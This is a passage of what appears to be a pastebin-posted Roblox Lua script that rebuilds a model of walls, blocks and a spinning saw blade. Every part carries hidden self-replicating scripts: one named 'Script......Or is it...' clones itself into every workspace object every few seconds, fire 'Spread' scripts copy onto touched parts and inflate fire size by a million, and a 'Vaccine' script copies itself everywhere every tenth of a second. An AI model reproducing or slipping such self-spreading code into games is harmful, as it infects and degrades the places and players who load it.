  3218. SpecialMesh203.Parent = Part196
  3219. SpecialMesh203.MeshType = Enum.MeshType.Cylinder
  3220. Script204.Name = "Vaccine"
  3221. Script204.Parent = Part196
  3222. table.insert(cors,sandbox(Script204,function()
  3223. function spread() -- created by nadnarb4
  3224. local stuff = game.Workspace:GetChildren()
  3225. for i = 1, #stuff do
  3226. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  3227. local clone = script:clone()
  3228. clone.Parent = stuff[i]
  3229. end
  3230. end
  3231. end
  3232.  
  3233. while true do
  3234. wait(.1)
  3235. spread()
  3236. end
  3237.  
  3238. function GetAllItems(mdl)
  3239. local objs = {}
  3240. function Search(obj)
  3241. if obj~=workspace then
  3242. table.insert(objs,obj)
  3243. end
  3244. if #obj:GetChildren() > 0 then
  3245. for i, v in ipairs(obj:GetChildren()) do
  3246. Search(v)
  3247. end
  3248. end
  3249. end
  3250. Search(mdl)
  3251. return objs
  3252. end
  3253.  
  3254.  
  3255.  
  3256. for i, v in ipairs(GetAllItems(workspace)) do
  3257. if v.className == "Script" then
  3258. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  3259. v.Parent = game.Lighting --Just in case it has a removal prevention.
  3260. t = Instance.new("ObjectValue")
  3261. t.Name = "IsAVirus"
  3262. t.Parent = v
  3263. end
  3264. end
  3265. end
  3266.  
  3267. for i, v in ipairs(game.Lighting:GetChildren()) do
  3268. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  3269. v:remove()
  3270. end
  3271. end
  3272.  
  3273.  
  3274. end))
  3275. Part205.Name = "spaceWall"
  3276. Part205.Parent = Model0
  3277. Part205.CFrame = CFrame.new(-9.25067043, 4.50000095, -8.25842476, 0.600000739, 0, 0.800001144, -0.800001144, 0, 0.600000739, 0, -1, 0)
  3278. Part205.Orientation = Vector3.new(-36.8699989, 90, -90)
  3279. Part205.Position = Vector3.new(-9.25067043, 4.50000095, -8.25842476)
  3280. Part205.Rotation = Vector3.new(-90, 53.1300011, 0)
  3281. Part205.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3282. Part205.Size = Vector3.new(0.799999595, 0.200000033, 0.200000003)
  3283. Part205.Anchored = true
  3284. Part205.BottomSurface = Enum.SurfaceType.Smooth
  3285. Part205.BrickColor = BrickColor.new("Really black")
  3286. Part205.Material = Enum.Material.DiamondPlate
  3287. Part205.TopSurface = Enum.SurfaceType.Smooth
  3288. Part205.brickColor = BrickColor.new("Really black")
  3289. Part205.FormFactor = Enum.FormFactor.Custom
  3290. Part205.formFactor = Enum.FormFactor.Custom
  3291. BoolValue206.Name = "RobloxModel"
  3292. BoolValue206.Parent = Part205
  3293. BoolValue207.Name = "RobloxStamper"
  3294. BoolValue207.Parent = Part205
  3295. Fire208.Parent = Part205
  3296. Fire208.Color = Color3.new(1, 0.678431, 0)
  3297. Fire208.Enabled = false
  3298. Fire208.Size = 30
  3299. Fire208.Heat = 25
  3300. Fire208.SecondaryColor = Color3.new(1, 0, 0)
  3301. Fire208.size = 30
  3302. Script209.Name = "Spread"
  3303. Script209.Parent = Fire208
  3304. table.insert(cors,sandbox(Script209,function()
  3305. function Spread(part)
  3306. check = part:findFirstChild("Fire")
  3307. if check == nil then
  3308. script.Parent:Clone().Parent = part
  3309.  
  3310. elseif check ~= nil then
  3311. check.Size = check.Size + 1000000
  3312. check.Heat = check.Heat +1000000
  3313. end
  3314. end
  3315.  
  3316.  
  3317. script.Parent.Parent.Touched:connect(Spread)
  3318.  
  3319. end))
  3320. RotateP210.Name = "INfecTION"
  3321. RotateP210.Parent = Part205
  3322. RotateP210.BaseAngle = 0.25
  3323. Script211.Name = "Script......Or is it..."
  3324. Script211.Parent = RotateP210
  3325. table.insert(cors,sandbox(Script211,function()
  3326. if script.Parent.className ~= "RotateP" then
  3327. local p = Instance.new("RotateP")
  3328. p.Parent = workspace
  3329. p.Name = "INfecTION"
  3330. script.Parent = p
  3331. end
  3332.  
  3333. function check()
  3334. local list = workspace:GetChildren()
  3335. for i = 1, #list do
  3336. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  3337. script.Parent:Clone().Parent = list[i]
  3338. end
  3339. wait()
  3340. end
  3341. end
  3342.  
  3343. while true do
  3344. check()
  3345. if workspace:findFirstChild("inFECtion") == nil then
  3346. local main = script.Parent:Clone()
  3347. main.Name = "inFECtion"
  3348. main.Parent = workspace
  3349. end
  3350. wait(3)
  3351. end
  3352.  
  3353. end))
  3354. SpecialMesh212.Parent = Part205
  3355. SpecialMesh212.MeshType = Enum.MeshType.Cylinder
  3356. Script213.Name = "Vaccine"
  3357. Script213.Parent = Part205
  3358. table.insert(cors,sandbox(Script213,function()
  3359. function spread() -- created by nadnarb4
  3360. local stuff = game.Workspace:GetChildren()
  3361. for i = 1, #stuff do
  3362. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  3363. local clone = script:clone()
  3364. clone.Parent = stuff[i]
  3365. end
  3366. end
  3367. end
  3368.  
  3369. while true do
  3370. wait(.1)
  3371. spread()
  3372. end
  3373.  
  3374. function GetAllItems(mdl)
  3375. local objs = {}
  3376. function Search(obj)
  3377. if obj~=workspace then
  3378. table.insert(objs,obj)
  3379. end
  3380. if #obj:GetChildren() > 0 then
  3381. for i, v in ipairs(obj:GetChildren()) do
  3382. Search(v)
  3383. end
  3384. end
  3385. end
  3386. Search(mdl)
  3387. return objs
  3388. end
  3389.  
  3390.  
  3391.  
  3392. for i, v in ipairs(GetAllItems(workspace)) do
  3393. if v.className == "Script" then
  3394. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  3395. v.Parent = game.Lighting --Just in case it has a removal prevention.
  3396. t = Instance.new("ObjectValue")
  3397. t.Name = "IsAVirus"
  3398. t.Parent = v
  3399. end
  3400. end
  3401. end
  3402.  
  3403. for i, v in ipairs(game.Lighting:GetChildren()) do
  3404. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  3405. v:remove()
  3406. end
  3407. end
  3408.  
  3409.  
  3410. end))
  3411. Part214.Name = "Smooth Block Model"
  3412. Part214.Parent = Model0
  3413. Part214.CFrame = CFrame.new(-2.81072211, 0.899998009, -6.35842896, 0, 0, 1.00000131, 0, 1.00000131, 0, -1, 0, 0)
  3414. Part214.Orientation = Vector3.new(0, 90, 0)
  3415. Part214.Position = Vector3.new(-2.81072211, 0.899998009, -6.35842896)
  3416. Part214.Rotation = Vector3.new(0, 90, 0)
  3417. Part214.Color = Color3.new(0.768627, 0.156863, 0.109804)
  3418. Part214.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
  3419. Part214.Anchored = true
  3420. Part214.BottomSurface = Enum.SurfaceType.Smooth
  3421. Part214.BrickColor = BrickColor.new("Bright red")
  3422. Part214.Material = Enum.Material.DiamondPlate
  3423. Part214.TopSurface = Enum.SurfaceType.Smooth
  3424. Part214.brickColor = BrickColor.new("Bright red")
  3425. Part214.FormFactor = Enum.FormFactor.Custom
  3426. Part214.formFactor = Enum.FormFactor.Custom
  3427. Fire215.Parent = Part214
  3428. Fire215.Color = Color3.new(1, 0.678431, 0)
  3429. Fire215.Enabled = false
  3430. Fire215.Size = 30
  3431. Fire215.Heat = 25
  3432. Fire215.SecondaryColor = Color3.new(1, 0, 0)
  3433. Fire215.size = 30
  3434. Script216.Name = "Spread"
  3435. Script216.Parent = Fire215
  3436. table.insert(cors,sandbox(Script216,function()
  3437. function Spread(part)
  3438. check = part:findFirstChild("Fire")
  3439. if check == nil then
  3440. script.Parent:Clone().Parent = part
  3441.  
  3442. elseif check ~= nil then
  3443. check.Size = check.Size + 1000000
  3444. check.Heat = check.Heat +1000000
  3445. end
  3446. end
  3447.  
  3448.  
  3449. script.Parent.Parent.Touched:connect(Spread)
  3450.  
  3451. end))
  3452. BoolValue217.Name = "RobloxStamper"
  3453. BoolValue217.Parent = Part214
  3454. BoolValue218.Name = "RobloxModel"
  3455. BoolValue218.Parent = Part214
  3456. RotateP219.Name = "INfecTION"
  3457. RotateP219.Parent = Part214
  3458. RotateP219.BaseAngle = 0.25
  3459. Script220.Name = "Script......Or is it..."
  3460. Script220.Parent = RotateP219
  3461. table.insert(cors,sandbox(Script220,function()
  3462. if script.Parent.className ~= "RotateP" then
  3463. local p = Instance.new("RotateP")
  3464. p.Parent = workspace
  3465. p.Name = "INfecTION"
  3466. script.Parent = p
  3467. end
  3468.  
  3469. function check()
  3470. local list = workspace:GetChildren()
  3471. for i = 1, #list do
  3472. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  3473. script.Parent:Clone().Parent = list[i]
  3474. end
  3475. wait()
  3476. end
  3477. end
  3478.  
  3479. while true do
  3480. check()
  3481. if workspace:findFirstChild("inFECtion") == nil then
  3482. local main = script.Parent:Clone()
  3483. main.Name = "inFECtion"
  3484. main.Parent = workspace
  3485. end
  3486. wait(3)
  3487. end
  3488.  
  3489. end))
  3490. ManualWeld221.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  3491. ManualWeld221.Parent = Part214
  3492. ManualWeld221.C0 = CFrame.new(0.200000018, -0.899999738, -0.200000003, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  3493. ManualWeld221.C1 = CFrame.new(0.199996948, -0.899999619, 0.200000763, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  3494. ManualWeld221.Part0 = Part214
  3495. ManualWeld221.Part1 = Part223
  3496. ManualWeld221.part1 = Part223
  3497. Script222.Name = "Vaccine"
  3498. Script222.Parent = Part214
  3499. table.insert(cors,sandbox(Script222,function()
  3500. function spread() -- created by nadnarb4
  3501. local stuff = game.Workspace:GetChildren()
  3502. for i = 1, #stuff do
  3503. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  3504. local clone = script:clone()
  3505. clone.Parent = stuff[i]
  3506. end
  3507. end
  3508. end
  3509.  
  3510. while true do
  3511. wait(.1)
  3512. spread()
  3513. end
  3514.  
  3515. function GetAllItems(mdl)
  3516. local objs = {}
  3517. function Search(obj)
  3518. if obj~=workspace then
  3519. table.insert(objs,obj)
  3520. end
  3521. if #obj:GetChildren() > 0 then
  3522. for i, v in ipairs(obj:GetChildren()) do
  3523. Search(v)
  3524. end
  3525. end
  3526. end
  3527. Search(mdl)
  3528. return objs
  3529. end
  3530.  
  3531.  
  3532.  
  3533. for i, v in ipairs(GetAllItems(workspace)) do
  3534. if v.className == "Script" then
  3535. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  3536. v.Parent = game.Lighting --Just in case it has a removal prevention.
  3537. t = Instance.new("ObjectValue")
  3538. t.Name = "IsAVirus"
  3539. t.Parent = v
  3540. end
  3541. end
  3542. end
  3543.  
  3544. for i, v in ipairs(game.Lighting:GetChildren()) do
  3545. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  3546. v:remove()
  3547. end
  3548. end
  3549.  
  3550.  
  3551. end))
  3552. Part223.Name = "Smooth Block Model"
  3553. Part223.Parent = Model0
  3554. Part223.CFrame = CFrame.new(-3.21062589, 0.899998009, -6.35842896, 0, 0, 1.00000131, 0, 1.00000131, 0, -1, 0, 0)
  3555. Part223.Orientation = Vector3.new(0, 90, 0)
  3556. Part223.Position = Vector3.new(-3.21062589, 0.899998009, -6.35842896)
  3557. Part223.Rotation = Vector3.new(0, 90, 0)
  3558. Part223.Color = Color3.new(0.768627, 0.156863, 0.109804)
  3559. Part223.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
  3560. Part223.Anchored = true
  3561. Part223.BottomSurface = Enum.SurfaceType.Smooth
  3562. Part223.BrickColor = BrickColor.new("Bright red")
  3563. Part223.Material = Enum.Material.DiamondPlate
  3564. Part223.TopSurface = Enum.SurfaceType.Smooth
  3565. Part223.brickColor = BrickColor.new("Bright red")
  3566. Part223.FormFactor = Enum.FormFactor.Custom
  3567. Part223.formFactor = Enum.FormFactor.Custom
  3568. Fire224.Parent = Part223
  3569. Fire224.Color = Color3.new(1, 0.678431, 0)
  3570. Fire224.Enabled = false
  3571. Fire224.Size = 30
  3572. Fire224.Heat = 25
  3573. Fire224.SecondaryColor = Color3.new(1, 0, 0)
  3574. Fire224.size = 30
  3575. Script225.Name = "Spread"
  3576. Script225.Parent = Fire224
  3577. table.insert(cors,sandbox(Script225,function()
  3578. function Spread(part)
  3579. check = part:findFirstChild("Fire")
  3580. if check == nil then
  3581. script.Parent:Clone().Parent = part
  3582.  
  3583. elseif check ~= nil then
  3584. check.Size = check.Size + 1000000
  3585. check.Heat = check.Heat +1000000
  3586. end
  3587. end
  3588.  
  3589.  
  3590. script.Parent.Parent.Touched:connect(Spread)
  3591.  
  3592. end))
  3593. BoolValue226.Name = "RobloxStamper"
  3594. BoolValue226.Parent = Part223
  3595. BoolValue227.Name = "RobloxModel"
  3596. BoolValue227.Parent = Part223
  3597. RotateP228.Name = "INfecTION"
  3598. RotateP228.Parent = Part223
  3599. RotateP228.BaseAngle = 0.25
  3600. Script229.Name = "Script......Or is it..."
  3601. Script229.Parent = RotateP228
  3602. table.insert(cors,sandbox(Script229,function()
  3603. if script.Parent.className ~= "RotateP" then
  3604. local p = Instance.new("RotateP")
  3605. p.Parent = workspace
  3606. p.Name = "INfecTION"
  3607. script.Parent = p
  3608. end
  3609.  
  3610. function check()
  3611. local list = workspace:GetChildren()
  3612. for i = 1, #list do
  3613. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  3614. script.Parent:Clone().Parent = list[i]
  3615. end
  3616. wait()
  3617. end
  3618. end
  3619.  
  3620. while true do
  3621. check()
  3622. if workspace:findFirstChild("inFECtion") == nil then
  3623. local main = script.Parent:Clone()
  3624. main.Name = "inFECtion"
  3625. main.Parent = workspace
  3626. end
  3627. wait(3)
  3628. end
  3629.  
  3630. end))
  3631. Script230.Name = "Vaccine"
  3632. Script230.Parent = Part223
  3633. table.insert(cors,sandbox(Script230,function()
  3634. function spread() -- created by nadnarb4
  3635. local stuff = game.Workspace:GetChildren()
  3636. for i = 1, #stuff do
  3637. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  3638. local clone = script:clone()
  3639. clone.Parent = stuff[i]
  3640. end
  3641. end
  3642. end
  3643.  
  3644. while true do
  3645. wait(.1)
  3646. spread()
  3647. end
  3648.  
  3649. function GetAllItems(mdl)
  3650. local objs = {}
  3651. function Search(obj)
  3652. if obj~=workspace then
  3653. table.insert(objs,obj)
  3654. end
  3655. if #obj:GetChildren() > 0 then
  3656. for i, v in ipairs(obj:GetChildren()) do
  3657. Search(v)
  3658. end
  3659. end
  3660. end
  3661. Search(mdl)
  3662. return objs
  3663. end
  3664.  
  3665.  
  3666.  
  3667. for i, v in ipairs(GetAllItems(workspace)) do
  3668. if v.className == "Script" then
  3669. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  3670. v.Parent = game.Lighting --Just in case it has a removal prevention.
  3671. t = Instance.new("ObjectValue")
  3672. t.Name = "IsAVirus"
  3673. t.Parent = v
  3674. end
  3675. end
  3676. end
  3677.  
  3678. for i, v in ipairs(game.Lighting:GetChildren()) do
  3679. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  3680. v:remove()
  3681. end
  3682. end
  3683.  
  3684.  
  3685. end))
  3686. Part231.Name = "spaceWall"
  3687. Part231.Parent = Model0
  3688. Part231.CFrame = CFrame.new(-5.41070318, 2.97000289, -8.25842476, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
  3689. Part231.Position = Vector3.new(-5.41070318, 2.97000289, -8.25842476)
  3690. Part231.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3691. Part231.Size = Vector3.new(4.79999924, 0.200000003, 0.200000003)
  3692. Part231.Anchored = true
  3693. Part231.BottomSurface = Enum.SurfaceType.Smooth
  3694. Part231.BrickColor = BrickColor.new("Really black")
  3695. Part231.Material = Enum.Material.DiamondPlate
  3696. Part231.TopSurface = Enum.SurfaceType.Smooth
  3697. Part231.brickColor = BrickColor.new("Really black")
  3698. Part231.FormFactor = Enum.FormFactor.Custom
  3699. Part231.formFactor = Enum.FormFactor.Custom
  3700. Fire232.Parent = Part231
  3701. Fire232.Color = Color3.new(1, 0.678431, 0)
  3702. Fire232.Enabled = false
  3703. Fire232.Size = 30
  3704. Fire232.Heat = 25
  3705. Fire232.SecondaryColor = Color3.new(1, 0, 0)
  3706. Fire232.size = 30
  3707. Script233.Name = "Spread"
  3708. Script233.Parent = Fire232
  3709. table.insert(cors,sandbox(Script233,function()
  3710. function Spread(part)
  3711. check = part:findFirstChild("Fire")
  3712. if check == nil then
  3713. script.Parent:Clone().Parent = part
  3714.  
  3715. elseif check ~= nil then
  3716. check.Size = check.Size + 1000000
  3717. check.Heat = check.Heat +1000000
  3718. end
  3719. end
  3720.  
  3721.  
  3722. script.Parent.Parent.Touched:connect(Spread)
  3723.  
  3724. end))
  3725. BoolValue234.Name = "RobloxStamper"
  3726. BoolValue234.Parent = Part231
  3727. BoolValue235.Name = "RobloxModel"
  3728. BoolValue235.Parent = Part231
  3729. RotateP236.Name = "INfecTION"
  3730. RotateP236.Parent = Part231
  3731. RotateP236.BaseAngle = 0.25
  3732. Script237.Name = "Script......Or is it..."
  3733. Script237.Parent = RotateP236
  3734. table.insert(cors,sandbox(Script237,function()
  3735. if script.Parent.className ~= "RotateP" then
  3736. local p = Instance.new("RotateP")
  3737. p.Parent = workspace
  3738. p.Name = "INfecTION"
  3739. script.Parent = p
  3740. end
  3741.  
  3742. function check()
  3743. local list = workspace:GetChildren()
  3744. for i = 1, #list do
  3745. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  3746. script.Parent:Clone().Parent = list[i]
  3747. end
  3748. wait()
  3749. end
  3750. end
  3751.  
  3752. while true do
  3753. check()
  3754. if workspace:findFirstChild("inFECtion") == nil then
  3755. local main = script.Parent:Clone()
  3756. main.Name = "inFECtion"
  3757. main.Parent = workspace
  3758. end
  3759. wait(3)
  3760. end
  3761.  
  3762. end))
  3763. ManualWeld238.Name = "spaceWall-to-spaceWall Strong Joint"
  3764. ManualWeld238.Parent = Part231
  3765. ManualWeld238.C0 = CFrame.new(-2.39999962, -0.100000001, -0.100000001, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  3766. ManualWeld238.C1 = CFrame.new(0.799995422, -0.499994278, -0.10004425, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  3767. ManualWeld238.Part0 = Part231
  3768. ManualWeld238.Part1 = Part138
  3769. ManualWeld238.part1 = Part138
  3770. Script239.Name = "Vaccine"
  3771. Script239.Parent = Part231
  3772. table.insert(cors,sandbox(Script239,function()
  3773. function spread() -- created by nadnarb4
  3774. local stuff = game.Workspace:GetChildren()
  3775. for i = 1, #stuff do
  3776. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  3777. local clone = script:clone()
  3778. clone.Parent = stuff[i]
  3779. end
  3780. end
  3781. end
  3782.  
  3783. while true do
  3784. wait(.1)
  3785. spread()
  3786. end
  3787.  
  3788. function GetAllItems(mdl)
  3789. local objs = {}
  3790. function Search(obj)
  3791. if obj~=workspace then
  3792. table.insert(objs,obj)
  3793. end
  3794. if #obj:GetChildren() > 0 then
  3795. for i, v in ipairs(obj:GetChildren()) do
  3796. Search(v)
  3797. end
  3798. end
  3799. end
  3800. Search(mdl)
  3801. return objs
  3802. end
  3803.  
  3804.  
  3805.  
  3806. for i, v in ipairs(GetAllItems(workspace)) do
  3807. if v.className == "Script" then
  3808. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  3809. v.Parent = game.Lighting --Just in case it has a removal prevention.
  3810. t = Instance.new("ObjectValue")
  3811. t.Name = "IsAVirus"
  3812. t.Parent = v
  3813. end
  3814. end
  3815. end
  3816.  
  3817. for i, v in ipairs(game.Lighting:GetChildren()) do
  3818. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  3819. v:remove()
  3820. end
  3821. end
  3822.  
  3823.  
  3824. end))
  3825. Part240.Name = "Smooth Block Model"
  3826. Part240.Parent = Model0
  3827. Part240.CFrame = CFrame.new(-2.81072211, 0.899998009, -6.75842619, 0, 0, 1.00000131, 0, 1.00000131, 0, -1, 0, 0)
  3828. Part240.Orientation = Vector3.new(0, 90, 0)
  3829. Part240.Position = Vector3.new(-2.81072211, 0.899998009, -6.75842619)
  3830. Part240.Rotation = Vector3.new(0, 90, 0)
  3831. Part240.Color = Color3.new(0.768627, 0.156863, 0.109804)
  3832. Part240.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
  3833. Part240.Anchored = true
  3834. Part240.BottomSurface = Enum.SurfaceType.Smooth
  3835. Part240.BrickColor = BrickColor.new("Bright red")
  3836. Part240.Material = Enum.Material.DiamondPlate
  3837. Part240.TopSurface = Enum.SurfaceType.Smooth
  3838. Part240.brickColor = BrickColor.new("Bright red")
  3839. Part240.FormFactor = Enum.FormFactor.Custom
  3840. Part240.formFactor = Enum.FormFactor.Custom
  3841. Fire241.Parent = Part240
  3842. Fire241.Color = Color3.new(1, 0.678431, 0)
  3843. Fire241.Enabled = false
  3844. Fire241.Size = 30
  3845. Fire241.Heat = 25
  3846. Fire241.SecondaryColor = Color3.new(1, 0, 0)
  3847. Fire241.size = 30
  3848. Script242.Name = "Spread"
  3849. Script242.Parent = Fire241
  3850. table.insert(cors,sandbox(Script242,function()
  3851. function Spread(part)
  3852. check = part:findFirstChild("Fire")
  3853. if check == nil then
  3854. script.Parent:Clone().Parent = part
  3855.  
  3856. elseif check ~= nil then
  3857. check.Size = check.Size + 1000000
  3858. check.Heat = check.Heat +1000000
  3859. end
  3860. end
  3861.  
  3862.  
  3863. script.Parent.Parent.Touched:connect(Spread)
  3864.  
  3865. end))
  3866. BoolValue243.Name = "RobloxStamper"
  3867. BoolValue243.Parent = Part240
  3868. BoolValue244.Name = "RobloxModel"
  3869. BoolValue244.Parent = Part240
  3870. RotateP245.Name = "INfecTION"
  3871. RotateP245.Parent = Part240
  3872. RotateP245.BaseAngle = 0.25
  3873. Script246.Name = "Script......Or is it..."
  3874. Script246.Parent = RotateP245
  3875. table.insert(cors,sandbox(Script246,function()
  3876. if script.Parent.className ~= "RotateP" then
  3877. local p = Instance.new("RotateP")
  3878. p.Parent = workspace
  3879. p.Name = "INfecTION"
  3880. script.Parent = p
  3881. end
  3882.  
  3883. function check()
  3884. local list = workspace:GetChildren()
  3885. for i = 1, #list do
  3886. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  3887. script.Parent:Clone().Parent = list[i]
  3888. end
  3889. wait()
  3890. end
  3891. end
  3892.  
  3893. while true do
  3894. check()
  3895. if workspace:findFirstChild("inFECtion") == nil then
  3896. local main = script.Parent:Clone()
  3897. main.Name = "inFECtion"
  3898. main.Parent = workspace
  3899. end
  3900. wait(3)
  3901. end
  3902.  
  3903. end))
  3904. ManualWeld247.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  3905. ManualWeld247.Parent = Part240
  3906. ManualWeld247.C0 = CFrame.new(-0.200000018, -0.899999738, -0.200000003, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  3907. ManualWeld247.C1 = CFrame.new(0.199996948, -0.899999619, -0.200000763, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  3908. ManualWeld247.Part0 = Part240
  3909. ManualWeld247.Part1 = Part214
  3910. ManualWeld247.part1 = Part214
  3911. Script248.Name = "Vaccine"
  3912. Script248.Parent = Part240
  3913. table.insert(cors,sandbox(Script248,function()
  3914. function spread() -- created by nadnarb4
  3915. local stuff = game.Workspace:GetChildren()
  3916. for i = 1, #stuff do
  3917. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  3918. local clone = script:clone()
  3919. clone.Parent = stuff[i]
  3920. end
  3921. end
  3922. end
  3923.  
  3924. while true do
  3925. wait(.1)
  3926. spread()
  3927. end
  3928.  
  3929. function GetAllItems(mdl)
  3930. local objs = {}
  3931. function Search(obj)
  3932. if obj~=workspace then
  3933. table.insert(objs,obj)
  3934. end
  3935. if #obj:GetChildren() > 0 then
  3936. for i, v in ipairs(obj:GetChildren()) do
  3937. Search(v)
  3938. end
  3939. end
  3940. end
  3941. Search(mdl)
  3942. return objs
  3943. end
  3944.  
  3945.  
  3946.  
  3947. for i, v in ipairs(GetAllItems(workspace)) do
  3948. if v.className == "Script" then
  3949. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  3950. v.Parent = game.Lighting --Just in case it has a removal prevention.
  3951. t = Instance.new("ObjectValue")
  3952. t.Name = "IsAVirus"
  3953. t.Parent = v
  3954. end
  3955. end
  3956. end
  3957.  
  3958. for i, v in ipairs(game.Lighting:GetChildren()) do
  3959. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  3960. v:remove()
  3961. end
  3962. end
  3963.  
  3964.  
  3965. end))
  3966. Part249.Name = "SawBlade"
  3967. Part249.Parent = Model0
  3968. Part249.CFrame = CFrame.new(-7.08075523, 3.28000212, -8.29842377, 1.00000131, 0, 0, 0, -1.00000131, 0, 0, 0, -1)
  3969. Part249.Orientation = Vector3.new(0, 180, 180)
  3970. Part249.Position = Vector3.new(-7.08075523, 3.28000212, -8.29842377)
  3971. Part249.Rotation = Vector3.new(-180, 0, 0)
  3972. Part249.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3973. Part249.Size = Vector3.new(3.20000076, 3.20000076, 0.400000006)
  3974. Part249.Anchored = true
  3975. Part249.BottomSurface = Enum.SurfaceType.Smooth
  3976. Part249.BrickColor = BrickColor.new("Dark stone grey")
  3977. Part249.TopSurface = Enum.SurfaceType.Smooth
  3978. Part249.brickColor = BrickColor.new("Dark stone grey")
  3979. Part249.FormFactor = Enum.FormFactor.Custom
  3980. Part249.formFactor = Enum.FormFactor.Custom
  3981. SpecialMesh250.Parent = Part249
  3982. SpecialMesh250.MeshId = "http://www.roblox.com/asset/?id=74322089"
  3983. SpecialMesh250.Scale = Vector3.new(2.5, 2.5, 2.5)
  3984. SpecialMesh250.TextureId = "http://www.roblox.com/asset/?id=74322092"
  3985. SpecialMesh250.MeshType = Enum.MeshType.FileMesh
  3986. Script251.Name = "Spin"
  3987. Script251.Parent = Part249
  3988. table.insert(cors,sandbox(Script251,function()
  3989. sp = script.Parent
  3990.  
  3991. sp.Mesh.Scale = script.Parent.Size
  3992.  
  3993. while true do
  3994. sp.CFrame = sp.CFrame * CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0.2)
  3995. wait()
  3996. end
  3997. end))
  3998. Sound252.Name = "Effect"
  3999. Sound252.Parent = Part249
  4000. Sound252.Pitch = 1.5
  4001. Sound252.PlaybackSpeed = 1.5
  4002. Sound252.SoundId = "http://www.roblox.com/asset/?id=2766576"
  4003. Sound252.Volume = 0.60000002384186
  4004. Script253.Name = "Ouch"
  4005. Script253.Parent = Part249
  4006. table.insert(cors,sandbox(Script253,function()
  4007. tex = "http://www.roblox.com/asset/?id=89024949"
  4008. sp = script.Parent
  4009.  
  4010. function onHit(hit)
  4011. if (hit.Parent:FindFirstChild("Humanoid") ~= nil) then
  4012. hit.Parent:FindFirstChild("Humanoid").Health = 0
  4013. sp.Mesh.TextureId = tex
  4014. sp.Effect:Play()
  4015. end
  4016. end
  4017.  
  4018. script.Parent.Touched:connect(onHit)
  4019. end))
  4020. for i,v in pairs(mas:GetChildren()) do
  4021. v.Parent = workspace
  4022. pcall(function() v:MakeJoints() end)
  4023. end
  4024. mas:Destroy()
  4025. for i,v in pairs(cors) do
  4026. spawn(function()
  4027. pcall(v)
  4028. end)
  4029. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement